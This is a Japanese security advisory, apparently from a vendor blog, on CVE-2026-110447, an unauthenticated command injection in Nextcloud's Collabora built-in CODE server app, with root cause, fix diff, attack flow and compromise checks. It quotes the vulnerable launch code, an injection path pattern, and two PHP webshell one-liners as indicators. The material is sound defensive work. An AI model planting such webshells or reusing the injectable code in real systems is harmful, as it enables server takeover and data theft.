実環境で悪用されるCollabora CODE ServerのRCE(CVE-2026-110447)
CollaboraはCVE-2026-110447をクリティカル、CVSS v4.0 9.2と評価しています。Nextcloud向けCollabora Online Built-in CODE Serverアプリ(richdocumentscode)の26.4.303未満では、組み込みCODEサーバーが停止していると、未認証の攻撃者がproxy.phpを介してWebサーバーユーザーとしてOSコマンドを実行できます。アプリ26.4.303で修正済みです。CISAは2026年10月23日にKEVカタログへ追加し、管理者は2026年9月中旬以降の攻撃を報告しています。
要点
- Nextcloud向け「Collabora Online - Built-in CODE Server」アプリ(パッケージ
richdocumentscode)は、小さなPHPプロキシproxy.phpを使い、同梱するCollaboraサーバーをシェルコマンドで起動します。26.4.303未満では、リクエストのHostヘッダーと、HTTPSの場合はパスが、PHPのescapeshellarg()では保護できない形でシェルコマンドに届きます。そのため、未認証リクエストでWebサーバーユーザーとしてOSコマンドを実行できます。 - 攻撃が機能するのは、コンテナー再起動後、アップグレード中、クラッシュ後など、組み込みCODEサーバーが停止している間だけです。単独のCollaboraサーバー、DockerやディストリビューションパッケージのCollabora、Nextcloud All-in-Oneは影響を受けません。
- Collaboraの評価はクリティカル、CVSS v4.0 9.2です。実環境で悪用されています。CISAは2026年10月23日にCVE-2026-110447をKnown Exploited Vulnerabilitiesカタログへ追加し、対応期限を2026年10月26日としました。管理者の報告では、PHP Webシェルを設置する攻撃が2026年9月10日までさかのぼっています。
- アプリを26.4.303以降にアップグレードするか、使っていなければ削除してください。Collaboraは無効化だけでは不十分としています。
影響を受けるか
以下の条件をすべて満たす場合に影響を受けます。
- Nextcloudに「Collabora Online - Built-in CODE Server」アプリ(パッケージ
richdocumentscode)をインストールしている - インストール済みバージョンが26.4.303未満
- 再起動、アップグレード、クラッシュなどで組み込みCODEサーバーが停止する可能性がある。通常はアプリが稼働を維持するが、その停止時間こそが攻撃の発生するタイミング
別のrichdocumentsコネクターアプリを外部Collaboraサーバーと使う場合、単独のCollabora Onlineサーバー、DockerやLinuxディストリビューションパッケージのCollabora、ホスト型Collaboraサービス、Nextcloud All-in-Oneを使う場合は影響を受けません。
| 構成 | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
Collabora Online - Built-in CODE Serverアプリ(richdocumentscode) |
< 26.4.303 | 26.4.303(現行安定版は26.4.502) |
| 単独のCollabora、Dockerまたはディストリビューションパッケージ、Nextcloud All-in-One | 影響なし | - |
インストール済みのものを確認します。アプリのバージョンはinfo.xmlにあります。
# Installed app version (adjust the path to your Nextcloud root)
grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml
# Is the app present at all? occ checks every app directory, including custom_apps/
sudo -u www-data php occ app:list | grep richdocumentscode
# Container image check
docker run --rm <your-image> grep -o '<version>[^<]*' apps/richdocumentscode/appinfo/info.xml
公式Nextcloud Dockerイメージは、App Storeのアプリをapps/ではなくcustom_apps/にインストールするため、上記パスを適宜変更してください。Nextcloud管理画面のAppsでは、「Collabora Online - Built-in CODE Server」の横にバージョンが表示されます。
修正方法
Nextcloud App Store、管理画面のApps、またはoccコマンドからアプリをアップグレードします。コマンドはWebサーバーユーザーとして実行します。
sudo -u www-data php occ app:update richdocumentscode
App StoreではNextcloud 30~35向けの安定チャネルとして26.4.502を提供しています。26.4.303以降のすべてのリリースに修正が含まれます。
サポート終了済みのNextcloud(29以前)では、App Storeの対応系列である26.4.104が修正バージョンより古くなっています。この場合、CollaboraはNextcloudをサポート対象リリースに更新してからアプリを更新するか、アプリを削除するよう案内しています。組み込みサーバーを使わないなら、削除が適切です。
次の2つは緩和策として機能しません。
- アプリの無効化。Collaboraのアドバイザリは「問題を避けるには無効化だけでは不十分で、>= 26.4.303へのアップグレードまたは削除が必要」と明記しています。proxy.phpはWebサーバーが直接実行する独立したスクリプトで、Nextcloudフレームワークを読み込みません。そのためアプリの有効状態を確認せず、ディスク上に存在する限りHTTPで到達できます。
- CODEサーバーを稼働し続けること。再起動、アップグレード、クラッシュのたびに停止し、その時間が攻撃可能な時間になります。
根本原因
OSコマンドインジェクションとは、攻撃者の入力がシェルコマンドに届き、シェルが実行する内容を変えることです。注入箇所はproxy.phpのstartCoolwsd()関数です。
組み込みCODE Serverアプリは、CollaboraをAppImageとして同梱し、必要に応じて起動します。リクエスト到着時にローカルのCollaboraサービスが動作していなければ、proxy.phpがリクエスト自身のHostヘッダーと、HTTPSの場合はパスを含む起動コマンドを構築します。
// proxy.php, startCoolwsd(), release 26.4.302
$remoteFontConfig = "";
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off')
{
$remoteFontConfigUrl = escapeshellarg("https://" . $_SERVER['HTTP_HOST'] . preg_replace("/richdocumentscode.*$/", "richdocuments/settings/fonts.json", $_SERVER['REQUEST_URI']));
$remoteFontConfig = "--o:remote_font_config.url=" . $remoteFontConfigUrl;
}
...
$lok_allow = "--o:net.lok_allow.host[14]=" . escapeshellarg($_SERVER['HTTP_HOST']);
$launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
...
exec($launchCmd, $output, $return);
行ごとに説明します。
$_SERVER['HTTP_HOST']は受信リクエストのHostヘッダーで、攻撃者が完全に制御できます。$_SERVER['REQUEST_URI']はリクエストのパスとクエリで、これも攻撃者が制御できます。HTTPSリクエストでは$remoteFontConfigに入ります。実環境で確認されたのはこの経路です。Webシェルの報告にあるリクエストは、/x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?statusのように、パスへシェル構文を置いていました。escapeshellarg()は各値を単一引用符で囲みます。これは、一つのシェルコマンドの一つの引数として使う値を保護します。- 結果は
$launchCmdに展開されます。これはbash -c "( ... )"を含む二重引用符付き文字列です。 exec($launchCmd)が行全体をOSのシェルへ渡します。
欠陥は2層目のシェル処理です。二重引用符で囲まれたbash -c "..."部分では、escapeshellarg()が追加した単一引用符は引用の効力を持たない文字として扱われます。外側のシェルがbashへの引数を構築する際、その部分が再び解析されます。コマンド置換などのシェル構文を含むHostヘッダーは、単一引用符による保護をすり抜け、2回目の解析で解釈されます。単一シェル用に行った引用処理を、2層のシェルコンテキストで再利用していました。
26.4.303の修正は、値ごとの引用が維持されると信頼する代わりに、内部コマンド全体を引用します。
// proxy.php, startCoolwsd(), release 26.4.303
- $launchCmd = "bash -c \"( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown\"";
+ $innerCmd = "( $appImage $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile || $appImage --appimage-extract-and-run $remoteFontConfig $IPv4only $lok_allow --pidfile=$pidfile) >/dev/null & disown";
+ $launchCmd = "bash -c " . escapeshellarg($innerCmd);
これにより、bash -cは起動スクリプト全体を安全に引用された一つの引数として受け取り、Hostヘッダーやリクエストパスを含む内部の値が外側のシェルで再解析されなくなります。
アドバイザリは、CVE-2025-66208と同じ経路ではなく、以前の問題の修正では本件を防げないとしています。
悪用の仕組み
アドバイザリにPoCは添付されていませんが、攻撃経路は短く、管理者の報告では2026年9月中旬以降の利用が確認されています。
- 攻撃者のリクエストがproxy.phpに届きます。スクリプトは認証なしで
statusクエリとreq=クエリを受け付け、組み込みCollaboraサーバーへリクエストを中継するアプリの入口になっています。 - コンテナーの再起動直後、アップグレード中、またはクラッシュにより、組み込みCODEサーバーが停止しています。proxy.phpはローカルソケットを開けず、
startCoolwsd()を呼びます。 - リクエストパス(実際の報告された攻撃)やHostヘッダーにある攻撃者のシェル構文が、
escapeshellarg()を通り、起動コマンドの二重引用符付きbash -c文字列に入ります。 exec($launchCmd)がシステムシェルで行を実行します。二重引用符の部分が再解析され、ヘッダーのシェル構文が実行されます。コマンドは、通常www-dataであるWebサーバーユーザーとして動作します。- 攻撃者はWebサーバーユーザーでのコマンド実行を使い、同じWebサーバーが配信するアプリディレクトリにPHP Webシェルを書き込みます。以後のリクエストは通常のPHP通信に見えます。
攻撃フロー
proxy.phpへの未認証リクエスト"] --> B["組み込みCODEサーバーが停止
再起動、アップグレード、クラッシュ"] B --> C["startCoolwsd()が
bash -c起動コマンドを構築"] C --> D["escapeshellarg処理済みのパスやHost値が
二重引用符の中に入る"] D --> E["外側のシェルが再解析し
注入された構文を実行"] E --> F["Webサーバーユーザーとして
コマンドが実行される"] F --> G["アプリディレクトリに
PHP Webシェルを設置"]
欠けているチェックはDとEの間です。2層目のシェルに向けて、Hostヘッダーやリクエストパスの値を再度引用する処理がありません。
攻撃者に可能なこと
NextcloudホストでWebサーバーユーザーとしてコマンドを実行できます。BleepingComputerが収集した管理者の報告によると、攻撃者はそのアクセスでパスワードデータベース、パスワードマネージャーの関連データ、暗号資産ウォレットを探し、永続化のためPHP Webシェルを設置していました。一部のユーザーはランサムウェアの動きも報告しましたが、BleepingComputerは独立に確認できていません。
攻撃には、一般的な次の条件が必要です。
- アプリがインストールされ、26.4.303未満である
- その時点で組み込みCODEサーバーが動いていない
- ネットワークからproxy.phpへ到達できる。CVSS v4.0ベクトルは
AV:N/AC:L/AT:P/PR:N/UI:Nで、権限もユーザー操作も不要。サーバーの停止時間が必要なため、攻撃要件あり
攻撃者にNextcloudアカウントは不要です。CISA KEV項目は連邦機関の期限を2026年10月26日とし、ランサムウェア利用は不明、BOD 26-04に従ったフォレンジックトリアージを要求しています。
修正が機能する理由
26.4.302と26.4.303の比較で見られるパッチは、値ごとの引用をコマンド全体の引用に置き換えます。escapeshellarg($innerCmd)が起動スクリプトを一つのシェル引数にします。Hostヘッダーとリクエストパスがどのようなバイトを持ち込んでも、その一つの引数内に入り、外側のシェルが構文として解釈しません。修正は、攻撃者が制御する両方の値を対象にします。$lok_allow内のHostヘッダーと、Hostヘッダーおよびリクエストパス(REQUEST_URI)から構築する$remoteFontConfig内のリモートフォント設定URLです。どちらも$innerCmd内を通るため、同じ引用処理で保護されます。
注意点は一つ残ります。アプリは依然としてWebリクエストからexec()で大きなバイナリを起動します。その設計が不具合の影響を大きくしましたが、修正された引用処理は、攻撃者がコマンドに影響する経路を取り除きます。
侵害されたかを確認する方法
報道やフォーラムの攻撃報告以外に、CollaboraやCISAは侵害指標を公開していません。その報告から、次を確認できます。
- アプリディレクトリ内の予期しないPHPファイルを探す。richdocumentscodeのissueトラッカーの報告には、
<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');を含むshx*.phpやshrf*.php(例:shxa35d0.php、shrf4645.php)が挙げられています。ある管理者のNextcloud整合性チェックは、apps/richdocumentscode/にある追加ファイルNx_33143.phpを検出しました。内容は1行のWebシェル<?php system($_GET[c]);でした。管理設定から整合性チェックを実行するか、アプリフォルダーを直接調べます。
# Unexpected PHP files in the app folder (apps/ or custom_apps/)
find apps/richdocumentscode custom_apps/richdocumentscode -name '*.php' 2>/dev/null | sort
# The reported webshell file names
find apps/richdocumentscode custom_apps/richdocumentscode \( -name 'sh*.php' -o -name 'Nx_*.php' \) 2>/dev/null
# The reported webshell patterns
grep -rlE 'system\(\$_GET|shell_exec\(' apps/richdocumentscode/ custom_apps/richdocumentscode/ 2>/dev/null
- 管理者報告で最も早い2026年9月10日までさかのぼり、Webサーバーのアクセスログでproxy.phpへのリクエストを調べる。
proxy.php?status、$(などシェル構文を含むパス(報告された攻撃では/x$(...)x/%2e%2e/apps/richdocumentscode/proxy.php?statusのようなパス)、自社ドメインではないHostヘッダー値を持つリクエストを確認 - Webサーバーユーザーが読めるシークレットは露出したと想定する。config.phpのデータベースパスワード、アプリパスワード、アクセス可能なデータディレクトリの内容などをローテーション
経緯
- 2026年9月9日:Collaboraが修正をコミット。
- 2026年9月10日:管理者報告にある最も早い攻撃トラフィック。
- 2026年9月11日:変更履歴によるrichdocumentscode 26.4.303のリリース日。
- 2026年10月3日:継続的な悪用について、Nextcloudフォーラムにコミュニティから警告。
- 2026年10月14日:CollaboraがアドバイザリGHSA-g3vx-3m76-fghhを公開し、CVE-2026-110447も公開。同じ欠陥はrichdocumentscodeパッケージのGHSA-F97P-R72Q-64H2としても追跡。
- 2026年10月15日:BleepingComputerが攻撃と、修正からアドバイザリまでの1か月の間隔を報道。
- 2026年10月23日:CISAがCVE-2026-110447をKEVカタログへ追加し、期限を2026年10月26日と設定。
- 2026年10月24日:本記事を公開。KEVへの掲載によって実環境の悪用を確認。
よくある質問
別のCollaboraサーバーやrichdocumentsアプリも影響を受けるか?
いいえ。欠陥は同梱AppImageを起動するための、組み込みCODE Serverアプリのproxy.phpにあります。単独のCollabora Onlineサーバー、DockerやディストリビューションパッケージのCollabora、ホスト型Collaboraサービス、Nextcloud All-in-Oneは影響を受けません。
アプリを無効にしたので安全か?
いいえ。Collaboraのアドバイザリは明確です。無効化だけでは不十分で、26.4.303以降へのアップグレードか削除が必要です。アップグレードまたは削除してください。
CVE-2025-66208と同じ欠陥か?
いいえ。アドバイザリは、以前のCVE-2025-66208と同じ経路ではなく、その修正では本件を防げないとしています。以前の修正を適用したかにかかわらず、26.4.303のパッチが必要です。
CVEの公開に1か月かかった理由は?
修正は2026年9月11日に提供され、アドバイザリとCVEは2026年10月14日に公開されました。Collaboraは、AIによるセキュリティ報告の増加で逼迫したGitHubのCVE処理の滞留が主因と説明しました。Nextcloudは、その期間がユーザーの更新時間になったとしています。攻撃者は待ちませんでした。管理者の報告には9月10日以降の攻撃が記されています。
サポート終了済みのNextcloudを使っている場合は?
Nextcloud 29以前向けのApp Store系列26.4.104は修正リリース未満なので、そこでアプリを更新しても修正されません。Nextcloudをサポート対象リリースにアップグレードしてからアプリを更新するか、アプリを完全に削除してください。
修正済みバージョンの動作を確認するには?
apps/richdocumentscode/appinfo/info.xmlで26.4.303以降か確認するか、管理画面のAppsでバージョンを確認します。サポート対象Nextcloudリリース向けの現行安定系列は26.4.502です。
OstorlabでWebアセットをスキャンし、影響アプリを動かし続けるインスタンスを含め、公開されているNextcloudとCollaboraのバージョンを確認してください。
参考資料
- CollaboraのアドバイザリGHSA-g3vx-3m76-fghh:https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh (2026年10月24日確認)
- CVE-2026-110447のCISA KEV項目。2026年10月23日追加、期限は2026年10月26日:https://www.cisa.gov/known-exploited-vulnerabilities-catalog (2026年10月24日確認)
- richdocumentscode 26.4.302から26.4.303への修正差分:https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303 (2026年10月24日確認)
- タグ26.4.302の脆弱なproxy.php:https://raw.githubusercontent.com/CollaboraOnline/richdocumentscode/26.4.302/proxy.php (2026年10月24日確認)
- BleepingComputer、「Hackers exploit Collabora RCE flaw to backdoor Nextcloud servers」、2026年10月15日:https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers/ (2026年10月24日確認)
- Webシェル報告を含むNextcloudフォーラムの警告:https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516 (2026年10月24日確認)
- Webシェル報告のissue:https://github.com/CollaboraOnline/richdocumentscode/issues/354 (2026年10月24日確認)
- CVE-2026-110447レコード:https://nvd.nist.gov/vuln/detail/CVE-2026-110447 (2026年10月24日確認)
- richdocumentscodeのNextcloud App Storeページ:https://apps.nextcloud.com/apps/richdocumentscode (2026年10月24日確認)